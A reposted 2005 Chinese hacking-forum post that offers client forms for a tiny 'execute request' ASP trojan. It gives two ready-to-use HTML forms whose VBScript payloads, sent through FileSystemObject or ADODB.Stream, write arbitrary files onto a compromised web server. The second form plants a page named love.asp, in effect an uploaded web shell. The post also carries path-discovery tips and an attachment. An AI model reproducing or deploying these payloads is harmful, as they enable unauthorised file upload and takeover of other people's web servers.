发新话题
打印

[转载]execute request超短ASP木马的客户端

[转载]execute request超短ASP木马的客户端

文章作者:kofj
信息来源:www.nspcn.org

看到上级版面里全是PHP的,不知道发这里对不对,暂时发这里好了

原文转载如下:

FSO的是我写的
ADODB_STREAM的是我改写的
复制内容到剪贴板
代码:
code:

<form action=http://localhost/udj3.asp method=post>
<textarea name=# cols=120 rows=18 width=45>dim objFSO
dim fdata
dim objCountFile
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
fdata = request("textcontent")
Set objCountFile=objFSO.CreateTextFile(request("textpath"),True)
objCountFile.Write fdata
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing

&#39;the server page may be execute request("#") or something similar
&#39;coded by [email]kofj2005@gmail.com[/email]
&#39;you can get the complete file path by two lines of code under here
&#39;filepath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
&#39;response.write filepath
</textarea>
<textarea name=textcontent cols=120 rows=10 width=45>text file content</textarea><BR>
<textarea name=textpath cols=120 rows=1 width=45>text file path</textarea><BR>
<input type=submit value="submit">
if the server supports adodb_stream
复制内容到剪贴板
代码:
code:

<form action=http://localhost/exec.asp method=post>
<textarea name=# cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
&#39;you can change CharSet if necessary
lP.writetext request("textcontent")
lP.SaveToFile server.mappath("love.asp"),2
lP.Close
set lP=nothing
response.redirect "love.asp"

&#39;the server page may be execute request("#") or something similar
&#39;recoded by [email]kofj2005@gmail.com[/email]
&#39;you can get the complete file path by two lines of code under here
&#39;filepath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
&#39;response.write filepath
</textarea>
<textarea name=textcontent cols=120 rows=10 width=45>text content</textarea><BR><center><br>
<input type=submit value="submit">

附件

exec.rar (2 KB)

2005-6-10 19:10, 下载次数: 103

你善良的像猫儿,你忠实的像狗,你可爱像鸟儿,你识途像马儿,你出色像蝶儿,你勤劳像蜂儿,你什么都相像,也难怪大家都叫你…………禽兽

TOP

发新话题